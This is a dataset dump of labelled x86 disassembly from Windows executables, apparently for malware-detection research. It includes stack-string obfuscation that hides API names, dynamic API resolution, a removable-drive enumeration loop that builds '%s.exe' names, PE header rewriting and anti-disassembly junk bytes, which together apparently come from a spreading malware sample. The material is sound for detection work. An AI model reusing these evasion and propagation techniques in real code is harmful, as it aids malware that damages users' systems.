joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100028a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov al, 0x65
mov cl, 0x72
mov byte [esp + 1], al
mov byte [esp + 8], al
mov byte [esp + 0xd], al
mov al, 0x73
push 0x1000b004
mov byte [esp + 4], 0x54
mov byte [esp + 6], cl
mov byte [esp + 7], 0x6d
mov byte [esp + 8], 0x69
mov byte [esp + 9], 0x6e
mov byte [esp + 0xa], 0x61
mov byte [esp + 0xb], 0x74
mov byte [esp + 0xd], 0x50
mov byte [esp + 0xe], cl
mov byte [esp + 0xf], 0x6f
mov byte [esp + 0x10], 0x63
mov byte [esp + 0x12], al
mov byte [esp + 0x13], al
mov byte [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002922
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push edx
push ecx
call eax
add esp, 0x14
ret
mov eax, dword [esp + 0x1c]
add esp, 0x14
ret

Function at 0x10002930
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
mov cl, 0x72
mov al, 0x73
push 0x1000b004
mov byte [esp + 4], 0x50
mov byte [esp + 5], cl
mov byte [esp + 6], 0x6f
mov byte [esp + 7], 0x63
mov byte [esp + 8], 0x65
mov byte [esp + 9], al
mov byte [esp + 0xa], al
mov byte [esp + 0xb], 0x33
mov byte [esp + 0xc], 0x32
mov byte [esp + 0xd], 0x46
mov byte [esp + 0xe], 0x69
mov byte [esp + 0xf], cl
mov byte [esp + 0x10], al
mov byte [esp + 0x11], 0x74
mov byte [esp + 0x12], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100029a8
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push edx
push ecx
call eax
add esp, 0x10
ret
mov eax, dword [esp + 0x18]
add esp, 0x10
ret

Function at 0x100029b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
mov cl, 0x65
mov al, 0x73
push 0x1000b004
mov byte [esp + 4], 0x50
mov byte [esp + 5], 0x72
mov byte [esp + 6], 0x6f
mov byte [esp + 7], 0x63
mov byte [esp + 8], cl
mov byte [esp + 9], al
mov byte [esp + 0xa], al
mov byte [esp + 0xb], 0x33
mov byte [esp + 0xc], 0x32
mov byte [esp + 0xd], 0x4e
mov byte [esp + 0xe], cl
mov byte [esp + 0xf], 0x78
mov byte [esp + 0x10], 0x74
mov byte [esp + 0x11], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002a24
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push edx
push ecx
call eax
add esp, 0x10
ret
mov eax, dword [esp + 0x18]
add esp, 0x10
ret
Function at 0x10002a30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov cl, 0x65
mov al, 0x74
mov dl, 0x41
push 0x1000b004
mov byte [esp + 4], 0x53
mov byte [esp + 5], cl
mov byte [esp + 6], al
mov byte [esp + 7], 0x46
mov byte [esp + 8], 0x69
mov byte [esp + 9], 0x6c
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], dl
mov byte [esp + 0xc], al
mov byte [esp + 0xd], al
mov byte [esp + 0xe], 0x72
mov byte [esp + 0xf], 0x69
mov byte [esp + 0x10], 0x62
mov byte [esp + 0x11], 0x75
mov byte [esp + 0x12], al
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], 0x73
mov byte [esp + 0x15], dl
mov byte [esp + 0x16], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002aba
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push edx
push ecx
call eax
add esp, 0x14
ret
mov eax, dword [esp + 0x1c]
add esp, 0x14
ret

Function at 0x10002ad0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov cl, 0x65
mov al, 0x74
mov dl, 0x41
push 0x1000b004
mov byte [esp + 4], 0x47
mov byte [esp + 5], cl
mov byte [esp + 6], al
mov byte [esp + 7], 0x46
mov byte [esp + 8], 0x69
mov byte [esp + 9], 0x6c
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], dl
mov byte [esp + 0xc], al
mov byte [esp + 0xd], al
mov byte [esp + 0xe], 0x72
mov byte [esp + 0xf], 0x69
mov byte [esp + 0x10], 0x62
mov byte [esp + 0x11], 0x75
mov byte [esp + 0x12], al
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], 0x73
mov byte [esp + 0x15], dl
mov byte [esp + 0x16], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002b55
mov edx, dword [esp + 0x18]
push edx
call eax
add esp, 0x14
ret
mov eax, dword [esp + 0x18]
add esp, 0x14
ret

Function at 0x10002b60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push 0x1000b004
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov cl, 0x65
mov byte [esp], 0x44
mov byte [esp + 1], cl
mov byte [esp + 5], cl
mov cl, 0x6f
mov byte [esp + 2], 0x76
mov byte [esp + 7], cl
mov byte [esp + 9], cl
mov byte [esp + 0xd], cl
lea ecx, [esp]
push ecx
push eax
mov byte [esp + 0xb], 0x69
mov byte [esp + 0xc], 0x63
mov byte [esp + 0xe], 0x49
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x12], 0x6e
mov byte [esp + 0x13], 0x74
mov byte [esp + 0x14], 0x72
mov byte [esp + 0x16], 0x6c
mov byte [esp + 0x17], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002bfb
mov edx, dword [esp + 0x30]
mov ecx, dword [esp + 0x2c]
push edx
mov edx, dword [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x2c]
push edx
mov edx, dword [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x2c]
push edx
mov edx, dword [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x2c]
push edx
push ecx
call eax
add esp, 0x10
ret
mov eax, dword [esp + 0x30]
add esp, 0x10
ret
Function at 0x10006430
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x40
mov al, 0x72
mov cl, 0x73
mov byte [esp + 0x14], al
mov byte [esp + 0x28], al
mov byte [esp + 0x29], al
mov byte [esp + 0x2f], al
mov byte [esp + 0x36], al
mov byte [esp + 0x3a], al
lea eax, [esp + 4]
push ebx
mov byte [esp + 0x1a], cl
mov byte [esp + 0x25], cl
mov byte [esp + 0x34], cl
mov byte [esp + 0x3f], cl
push eax
push 0xf003f
lea ecx, [esp + 0x14]
push 0
mov bl, 0x69
mov dl, 0x6f
push ecx
push 0x80000002
mov dword [esp + 0x1c], 0
mov byte [esp + 0x20], 0x53
mov byte [esp + 0x21], 0x4f
mov byte [esp + 0x22], 0x46
mov byte [esp + 0x23], 0x54
mov byte [esp + 0x24], 0x57
mov byte [esp + 0x25], 0x41
mov byte [esp + 0x26], 0x52
mov byte [esp + 0x27], 0x45
mov byte [esp + 0x28], 0x5c
mov byte [esp + 0x29], 0x4d
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x63
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2f], dl
mov byte [esp + 0x30], 0x66
mov byte [esp + 0x31], 0x74
mov byte [esp + 0x32], 0x5c
mov byte [esp + 0x33], 0x57
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x6e
mov byte [esp + 0x36], 0x64
mov byte [esp + 0x37], dl
mov byte [esp + 0x38], 0x77
mov byte [esp + 0x3a], 0x20
mov byte [esp + 0x3b], 0x4e
mov byte [esp + 0x3c], 0x54
mov byte [esp + 0x3d], 0x5c
mov byte [esp + 0x3e], 0x43
mov byte [esp + 0x3f], 0x75
mov byte [esp + 0x42], 0x65
mov byte [esp + 0x43], 0x6e
mov byte [esp + 0x44], 0x74
mov byte [esp + 0x45], 0x56
mov byte [esp + 0x46], 0x65
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], dl
mov byte [esp + 0x4b], 0x6e
mov byte [esp + 0x4c], 0x5c
mov byte [esp + 0x4d], 0x44
mov byte [esp + 0x4f], bl
mov byte [esp + 0x50], 0x76
mov byte [esp + 0x51], 0x65
mov byte [esp + 0x54], 0x33
mov byte [esp + 0x55], 0x32
mov byte [esp + 0x56], 0
mov byte [esp + 0x18], 0x61
mov byte [esp + 0x19], 0x75
mov byte [esp + 0x1a], 0x78
mov byte [esp + 0x1b], 0
call fcn.10001cb0
add esp, 0x14
test eax, eax
pop ebx
jne 0x100065bc
mov edx, dword [esp + 0x44]
push edi
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 1
push eax
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x14]
push edx
push eax
call fcn.10001d40
add esp, 0x18
test eax, eax
pop edi
jne 0x100065af
mov eax, 1
add esp, 0x40
ret
mov ecx, dword [esp + 4]
push ecx
call fcn.10001c40
add esp, 4
xor eax, eax
add esp, 0x40
ret

Function at 0x100069a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jb 0x100069a5
jae 0x100069a5
call 0xd0686a13
bound eax, qword [eax]
adc bh, bh
adc eax, 0x10026084
push 0
push 0x100062c0
call dword [0x10026084]
jmp fcn.100065d0
Function at 0x10006b50
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x450
push ebp
push esi
push edi
mov edi, dword [esp + 0x460]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x358]
mov eax, ecx
mov esi, edi
mov edi, edx
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push str..
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x35c]
push ecx
call ebp
lea edx, [esp + 0x218]
lea eax, [esp + 0x358]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0xc], esi
je 0x10006caf
push ebx
mov ebx, dword [esp + 0x468]
test byte [esp + 0x21c], 0x10
je 0x10006c90
cmp byte [esp + 0x248], 0x2e
je 0x10006c90
mov edi, dword [esp + 0x464]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x118]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10025fa8
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x11c]
push ecx
call ebp
lea edx, [esp + 0x248]
lea eax, [esp + 0x118]
push edx
push eax
call ebp
lea ecx, [esp + 0x118]
push 6
push ecx
call fcn.10002a30
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 8
lea edx, [esp + 0x118]
stosb byte es:[edi], al
push edx
lea eax, [esp + 0x18]
push str._s.exe
push eax
call dword [0x1002609c]
lea ecx, [esp + 0x20]
push 1
push ecx
push ebx
call fcn.100017a0
lea edx, [esp + 0x2c]
push 0x80
push edx
call fcn.10002a30
mov esi, dword [esp + 0x30]
add esp, 0x20
lea eax, [esp + 0x21c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10006bc6
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x450
ret
Function at 0x10006cc0
Capabilities:
Contain obfuscated stackstrings
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push ebx
push esi
push edi
nop
nop
nop
nop
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x11f]
mov byte [ebp - 0x120], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x120]
push 0x2b
push eax
push 0
call fcn.100019b0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0x10
lea ecx, [ebp - 0x120]
mov al, 0x65
push 0x10025fa8
push ecx
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], al
mov byte [ebp - 0xa], 0x64
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0x74
mov byte [ebp - 7], al
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x71
mov byte [ebp - 4], 0
call esi
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x120]
push edx
push eax
call esi
mov cl, 0x69
mov al, 0x66
mov byte [ebp - 0x18], cl
mov byte [ebp - 0x15], cl
mov byte [ebp - 0x10], cl
lea ecx, [ebp - 0x120]
push 0x10025fa8
push ecx
mov byte [ebp - 0x17], al
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x14], al
mov byte [ebp - 0x13], 0x7a
mov byte [ebp - 0x12], 0x2e
mov byte [ebp - 0x11], 0x70
mov byte [ebp - 0xf], al
mov byte [ebp - 0xe], 0
call esi
lea edx, [ebp - 0x18]
lea eax, [ebp - 0x120]
push edx
push eax
call esi
lea ecx, [ebp - 0x120]
push ecx
call fcn.10002ad0
add esp, 4
cmp eax, 0xffffffff
je 0x10006dfb
lea edx, [ebp - 0x120]
push 0x80
push edx
call fcn.10002a30
mov esi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
mov bl, 0x63
mov eax, dword [0x10026018]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
push ecx
mov byte [ebp - 0x1c], bl
call esi
cmp eax, 2
jne 0x10006deb
lea edx, [ebp - 0x120]
lea eax, [ebp - 0x1c]
push edx
push eax
mov byte [ebp - 0x1a], 0
call fcn.10006b50
add esp, 8
inc bl
cmp bl, 0x7a
jle 0x10006dbe
push 0x7530
call edi
jmp 0x10006dbc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006f30
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
jb 0x10006f3c
jae 0x10006f3c
call 0x7a08b4cb
add byte [eax - 0x80], ch
add byte [eax], al
add byte [edx + 3], ch
mov eax, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call fcn.10001de0
mov edi, eax
add esp, 0x1c
cmp edi, 0xffffffff
jne 0x10006f6a
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push 0
push 0
push 4
push 0
push edi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [ebp - 4], ebx
jne 0x10006f9a
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 2
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x10006fb6
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
inc ecx
shr ecx, 1
push ecx
push esi
push 0
call fcn.10006ee0
mov ecx, dword [esi + 0x3c]
add esp, 0xc
add ecx, esi
cmp word [ecx + 0x18], 0x10b
jne 0x10006ff6
mov dx, word [ecx + 0x58]
cmp ax, dx
sbb ebx, ebx
neg ebx
add ebx, edx
mov dx, word [ecx + 0x5a]
sub eax, ebx
cmp ax, dx
sbb ebx, ebx
neg ebx
add ebx, edx
sub eax, ebx
mov ebx, dword [ebp - 4]
mov edx, dword [ebp + 8]
and eax, 0xffff
add eax, edx
push 0
push esi
mov dword [ecx + 0x58], eax
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call fcn.10001ef0
push edi
call fcn.10001ef0
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10007070
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push edi
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], dl
mov byte [ebp - 0x104], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jb 0x100070c4
jae 0x100070c4
call 0x526aca32
push 0x59
push 0x42
call fcn.10007030
add esp, 8
push eax
push 0x5a
push 0x41
call fcn.10007030
add esp, 8
lea ecx, [ebp - 0x208]
lea edx, [ebp - 0x104]
push eax
push ecx
push str._s_system_ce_ck.ecr
push edx
call dword [0x1002609c]
lea eax, [ebp - 0x104]
push eax
call fcn.10006e20
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
push 0x4b0
call edi
lea ecx, [ebp - 0x104]
or esi, 0xffffffff
push ecx
call fcn.10006f30
add esp, 4
test eax, eax
je 0x1000713a
lea edx, [ebp - 0x104]
push edx
call fcn.100069c0
add esp, 4
mov esi, eax
push 0xc8
call edi
lea eax, [ebp - 0x104]
push eax
call fcn.10001730
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10007160
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
jne 0x100071ae
mov ecx, dword [eax + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x100071ae
mov ecx, dword [esp + 8]
mov dword [ecx], eax
mov edx, dword [eax]
cmp edx, 0x4550
jne 0x100071ae
mov edx, dword [esp + 0xc]
add eax, 4
mov dword [ecx], eax
add eax, 0x14
mov dword [edx], eax
cmp word [eax], 0x10b
jne 0x100071ae
mov ecx, dword [esp + 0x10]
add eax, 0xe0
mov dword [ecx], eax
mov eax, 1
ret
xor eax, eax
ret

Function at 0x100073f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x95c
Function at 0x4132fa
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x89c
mov eax, dword [esp + 0x8b0]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [esp + 0x8ac]
mov dword [esp], eax
call fcn.0041a59f
mov eax, dword [esp + 0x8a8]
lea edx, [esp + 0x849]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [esp + 0x8a4]
mov dword [esp], eax
call fcn.00413125
xor eax, 1
test al, al
je 0x413358
mov eax, 0
jmp 0x41358a
mov byte [esp + 0x873], 0
mov dword [esp + 0x844], 0x800
mov dword [esp + 0x88c], 0
mov dword [esp], str.Y0Zs5Nh.Sii
call fcn.0040b60e
mov dword [esp], eax
call fcn.0040b4e9
mov dword [esp + 0x88c], eax
mov dword [esp], str.P0Zs5uRs0W5dY5aC5C
call fcn.0040b60e
mov dword [esp + 4], eax
mov eax, dword [esp + 0x88c]
mov dword [esp], eax
call fcn.0040b4ff
mov dword [esp + 0x888], eax
lea eax, [esp + 0x844]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x44]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [esp + 0x849]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x8a0]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
jne 0x413576
lea eax, [esp + 0x44]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x844]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x8a4]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x8a8]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x34]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [esp + 0x2c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
lea eax, [esp + 0x3c]
mov dword [esp], eax
mov eax, dword [esp + 0x888]
call eax
sub esp, 0x1c
test eax, eax
je 0x413576
mov eax, dword [esp + 0x38]
mov dword [esp + 0x884], eax
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x884]
mov ecx, dword [eax]
mov eax, dword [esp + 0x884]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [esp + 0x884]
mov eax, dword [eax + 8]
add eax, ecx
cmp edx, eax
jb 0x413560
mov eax, dword [esp + 0x38]
add eax, 0x24
mov dword [esp + 0x880], eax
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x884]
mov ecx, dword [eax]
mov eax, dword [esp + 0x884]
mov eax, dword [eax + 4]
add eax, ecx
add eax, edx
mov dword [esp + 0x87c], eax
mov eax, dword [esp + 0x880]
mov edx, dword [eax]
mov eax, dword [esp + 0x87c]
add eax, edx
mov dword [esp + 0x878], eax
add dword [esp + 0x880], 0x10
mov eax, dword [esp + 0x880]
mov edx, dword [eax]
mov eax, dword [esp + 0x87c]
add eax, edx
mov dword [esp + 0x874], eax
mov eax, dword [esp + 0x874]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x878]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x8a4]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], str._c_S_a_S:_S_b_b_b_b
mov eax, dword [esp + 0x8b0]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x8ac]
mov dword [esp], eax
call fcn.00419fa8
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_LocalFree
sub esp, 4
mov eax, 1
jmp 0x41358a
mov eax, dword [esp + 0x88c]
mov dword [esp], eax
call fcn.0040b51d
mov eax, 0
add esp, 0x89c
ret
Function at 0x402a80
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x18]
cmp eax, 3
ja case.default.0x402a91
jmp dword [eax*4 + 0x404c14]
cmp dword [0x407334], 0
je 0x402b8a
push 0x407338
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x407350]
test edi, edi
je 0x402b7f
mov ebx, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x402adb
mov edi, dword [edi + 8]
test edi, edi
je 0x402b7f
push dword [edi]
call ebx
mov esi, eax
call ebp
test eax, eax
jne 0x402ad0
test esi, esi
je 0x402ad0
mov eax, dword [edi + 4]
push esi
call eax
add esp, 4
jmp 0x402ad0
call fcn.00401e10
jmp case.default.0x402a91
cmp dword [0x407334], 0
je case.default.0x402a91
push 0x407338
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x407350]
test edi, edi
je 0x402b72
mov ebx, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x402b37
mov edi, dword [edi + 8]
test edi, edi
je 0x402b72
push dword [edi]
call ebx
mov esi, eax
call ebp
test eax, eax
jne 0x402b30
test esi, esi
je 0x402b30
mov eax, dword [edi + 4]
push esi
call eax
add esp, 4
jmp 0x402b30
cmp dword [0x407334], 0
jne 0x402b66
push 0x407338
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x407334], 1
jmp case.default.0x402a91
push 0x407338
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp case.default.0x402a91
push 0x407338
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x407334]
cmp eax, 1
jne case.default.0x402a91
mov eax, dword [0x407350]
test eax, eax
je 0x402bb2
nop dword [eax]
mov esi, dword [eax + 8]
push eax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
add esp, 4
mov eax, esi
test esi, esi
jne 0x402ba0
mov dword [0x407350], 0
mov dword [0x407334], 0
push 0x407338
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov eax, 1
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x402ce0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push edi
push esi
mov esi, dword [0x404004]
movzx ecx, word [esi]
xor eax, eax
cmp ecx, 0x5a4d
jne 0x402d46
mov ecx, dword [esi + 0x3c]
cmp dword [esi + ecx], 0x4550
jne 0x402d46
add esi, ecx
movzx ecx, word [esi + 0x18]
cmp ecx, 0x10b
jne 0x402d46
movzx ecx, word [esi + 6]
test ecx, ecx
je 0x402d46
mov edx, dword [esp + 0xc]
sub edx, dword [0x404004]
movzx edi, word [esi + 0x14]
add esi, edi
add esi, 0x18
jmp 0x402d36
add esi, 0x28
dec ecx
je 0x402d46
mov edi, dword [esi + 0xc]
cmp edi, edx
ja 0x402d30
add edi, dword [esi + 8]
cmp edi, edx
jbe 0x402d30
mov eax, esi
pop esi
pop edi
ret
Function at 0x10010eab
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10010f48
push ebx
push esi
call fcn.10010e74
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10010dbd
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10010ef5
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10010f47
push edi
push eax
call fcn.1000e41c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10010f15
call fcn.1000e3e2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10010f46
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10010dbd
add esp, 0x20
test eax, eax
jne 0x10010f34
push edi
call fcn.1000e3e2
jmp 0x10010f3c
push ebx
call fcn.1000e3e2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x100111b3
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001c940
push 0x1001c938
push str.FlsAlloc
push 0x1e
call fcn.100110d1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100111e7
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001a11c]
call esi
jmp 0x100111ed
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10011231
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001c950
push 0x1001c948
push str.FlsGetValue
push 0x20
call fcn.100110d1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011268
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001a11c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x10018ce0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10018d0d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10018d0d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret